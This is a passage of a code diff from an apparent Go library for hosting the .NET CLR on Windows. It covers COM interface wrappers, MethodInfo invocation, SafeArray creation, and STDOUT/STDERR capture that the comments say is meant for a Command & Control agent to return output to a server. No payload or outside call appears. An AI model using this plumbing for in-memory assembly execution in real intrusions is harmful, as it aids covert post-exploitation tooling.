||||
// IErrorInfo **pperrinfo
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
|
||||
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
|
||||
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
|
||||
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// origSTDOUT is a Windows Handle to the program's original STDOUT
|
||||
var origSTDOUT = windows.Stdout
|
||||
|
||||
// origSTDERR is a Windows Handle to the program's original STDERR
|
||||
var origSTDERR = windows.Stderr
|
||||
|
||||
// rSTDOUT is an io.Reader for STDOUT
|
||||
var rSTDOUT *os.File
|
||||
|
||||
// wSTDOUT is an io.Writer for STDOUT
|
||||
var wSTDOUT *os.File
|
||||
|
||||
// rSTDERR is an io.Reader for STDERR
|
||||
var rSTDERR *os.File
|
||||
|
||||
// wSTDERR is an io.Writer for STDERR
|
||||
var wSTDERR *os.File
|
||||
|
||||
// Stdout is a buffer to collect anything written to STDOUT
|
||||
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
|
||||
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
|
||||
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
|
||||
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
|
||||
var Stdout bytes.Buffer
|
||||
|
||||
// Stderr is a buffer to collect anything written to STDERR
|
||||
var Stderr bytes.Buffer
|
||||
|
||||
// errors is used to capture an errors from a goroutine
|
||||
var errors = make(chan error)
|
||||
|
||||
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
|
||||
var mutex = &sync.Mutex{}
|
||||
|
||||
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
|
||||
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
|
||||
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
|
||||
func RedirectStdoutStderr() (err error) {
|
||||
// Create a new reader and writer for STDOUT
|
||||
rSTDOUT, wSTDOUT, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Start STDOUT/STDERR buffer and collection
|
||||
go BufferStdout()
|
||||
go BufferStderr()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
|
||||
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
|
||||
// using the restored handles
|
||||
func RestoreStdoutStderr() error {
|
||||
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
|
||||
}
|
||||
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
|
||||
// Only use when RedirectStdoutStderr was previously called
|
||||
func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
debugPrint("Entering into io.ReadStdoutStderr()...")
|
||||
|
||||
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
|
||||
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
|
||||
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
|
||||
// returned because parent program is perpetually running
|
||||
time.Sleep(1 * time.Microsecond)
|
||||
|
||||
// Check the error channel to see if any of the goroutines generated an error
|
||||
if len(errors) > 0 {
|
||||
var totalErrors string
|
||||
for e := range errors {
|
||||
totalErrors += e.Error()
|
||||
}
|
||||
err = fmt.Errorf(totalErrors)
|
||||
return
|
||||
}
|
||||
|
||||
// Read STDOUT Buffer
|
||||
if Stdout.Len() > 0 {
|
||||
stdout = Stdout.String()
|
||||
Stdout.Reset()
|
||||
}
|
||||
|
||||
// Read STDERR Buffer
|
||||
if Stderr.Len() > 0 {
|
||||
stderr = Stderr.String()
|
||||
Stderr.Reset()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = rSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStdout() {
|
||||
debugPrint("Entering into io.BufferStdout()...")
|
||||
stdoutReader := bufio.NewReader(rSTDOUT)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stdoutReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stdout.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStderr() {
|
||||
debugPrint("Entering into io.BufferStderr()...")
|
||||
stderrReader := bufio.NewReader(rSTDERR)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stderrReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stderr.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
|
||||
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
type ISupportErrorInfo struct {
|
||||
vtbl *ISupportErrorInfoVtbl
|
||||
}
|
||||
|
||||
type ISupportErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
InterfaceSupportsErrorInfo uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// InterfaceSupportsErrorInfo
|
||||
// HRESULT InterfaceSupportsErrorInfo(
|
||||
// REFIID riid
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
|
||||
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.InterfaceSupportsErrorInfo,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *IUnknownVtbl
|
||||
}
|
||||
|
||||
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
|
||||
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
|
||||
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
|
||||
// methods in IUnknown are the first entries in the vtable for every interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
|
||||
type IUnknownVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *IUnknown) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *IUnknown) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type MethodInfo struct {
|
||||
vtbl *MethodInfoVtbl
|
||||
}
|
||||
|
||||
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
|
||||
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
|
||||
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
|
||||
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
|
||||
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
|
||||
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
|
||||
type MethodInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_MemberType uintptr
|
||||
get_name uintptr
|
||||
get_DeclaringType uintptr
|
||||
get_ReflectedType uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetParameters uintptr
|
||||
GetMethodImplementationFlags uintptr
|
||||
get_MethodHandle uintptr
|
||||
get_Attributes uintptr
|
||||
get_CallingConvention uintptr
|
||||
Invoke_2 uintptr
|
||||
get_IsPublic uintptr
|
||||
get_IsPrivate uintptr
|
||||
get_IsFamily uintptr
|
||||
get_IsAssembly uintptr
|
||||
get_IsFamilyAndAssembly uintptr
|
||||
get_IsFamilyOrAssembly uintptr
|
||||
get_IsStatic uintptr
|
||||
get_IsFinal uintptr
|
||||
get_IsVirtual uintptr
|
||||
get_IsHideBySig uintptr
|
||||
get_IsAbstract uintptr
|
||||
get_IsSpecialName uintptr
|
||||
get_IsConstructor uintptr
|
||||
Invoke_3 uintptr
|
||||
get_returnType uintptr
|
||||
get_ReturnTypeCustomAttributes uintptr
|
||||
GetBaseDefinition uintptr
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into methodinfo.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
|
||||
// virtual HRESULT __stdcall Invoke_3 (
|
||||
// /*[in]*/ VARIANT obj,
|
||||
// /*[in]*/ SAFEARRAY * parameters,
|
||||
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
|
||||
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
|
||||
debugPrint("Entering into methodinfo.Invoke_3()...")
|
||||
var pRetVal *Variant
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Invoke_3,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&variantObj)),
|
||||
uintptr(unsafe.Pointer(parameters)),
|
||||
uintptr(unsafe.Pointer(pRetVal)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
|
||||
// This currentl doesn't work
|
||||
if uint32(hr) == COR_E_TARGETINVOCATION {
|
||||
var iSupportErrorInfo *ISupportErrorInfo
|
||||
// See if MethodInfo supports the ISupportErrorInfo interface
|
||||
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
|
||||
if err != nil {
|
||||
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
|
||||
// Not sure if there is an Interface ID for MethodInfo
|
||||
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get the IErrorInfo object
|
||||
iErrorInfo, errG := GetErrorInfo()
|
||||
if errG != nil {
|
||||
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
|
||||
return err
|
||||
}
|
||||
|
||||
// Read the IErrorInfo description
|
||||
desc, errD := iErrorInfo.GetDescription()
|
||||
if errD != nil {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
|
||||
return err
|
||||
}
|
||||
if desc == nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
if pRetVal != nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetString returns a string that represents the current object
|
||||
// a string version of the method's signature
|
||||
// public virtual string ToString ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
|
||||
func (obj *MethodInfo) GetString() (str string, err error) {
|
||||
debugPrint("Entering into methodinfo.GetString()...")
|
||||
var object *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&object)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
str = ReadUnicodeStr(unsafe.Pointer(object))
|
||||
return
|
||||
}
|
||||
+340
@@ -0,0 +1,340 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// SafeArray represents a safe array
|
||||
// defined in OAIdl.h
|
||||
// typedef struct tagSAFEARRAY {
|
||||
// USHORT cDims;
|
||||
// USHORT fFeatures;
|
||||
// ULONG cbElements;
|
||||
// ULONG cLocks;
|
||||
// PVOID pvData;
|
||||
// SAFEARRAYBOUND rgsabound[1];
|
||||
// } SAFEARRAY;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
|
||||
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
|
||||
type SafeArray struct {
|
||||
// cDims is the number of dimensions
|
||||
cDims uint16
|
||||
// fFeatures is the feature flags
|
||||
fFeatures uint16
|
||||
// cbElements is the size of an array element
|
||||
cbElements uint32
|
||||
// cLocks is the number of times the array has been locked without a corresponding unlock
|
||||
cLocks uint32
|
||||
// pvData is the data
|
||||
pvData uintptr
|
||||
// rgsabout is one bound for each dimension
|
||||
rgsabound [1]SafeArrayBound
|
||||
}
|
||||
|
||||
// SafeArrayBound represents the bounds of one dimension of the array
|
||||
// typedef struct tagSAFEARRAYBOUND {
|
||||
// ULONG cElements;
|
||||
// LONG lLbound;
|
||||
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
|
||||
type SafeArrayBound struct {
|
||||
// cElements is the number of elements in the dimension
|
||||
cElements uint32
|
||||
// lLbound is the lowerbound of the dimension
|
||||
lLbound int32
|
||||
}
|
||||
|
||||
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
|
||||
// by making two syscalls and copying raw memory into the correct spot.
|
||||
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
|
||||
debugPrint("Entering into safearray.CreateSafeArray()...")
|
||||
|
||||
safeArrayBounds := SafeArrayBound{
|
||||
cElements: uint32(len(rawBytes)),
|
||||
lLbound: int32(0),
|
||||
}
|
||||
|
||||
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
|
||||
modNtDll := syscall.MustLoadDLL("ntdll.dll")
|
||||
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
|
||||
|
||||
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
|
||||
|
||||
// void RtlCopyMemory(
|
||||
// void* Destination,
|
||||
// const void* Source,
|
||||
// size_t Length
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
|
||||
_, _, err = procRtlCopyMemory.Call(
|
||||
safeArray.pvData,
|
||||
uintptr(unsafe.Pointer(&rawBytes[0])),
|
||||
uintptr(len(rawBytes)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return safeArray, nil
|
||||
}
|
||||
|
||||
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
|
||||
// SAFEARRAY * SafeArrayCreate(
|
||||
// VARTYPE vt,
|
||||
// UINT cDims,
|
||||
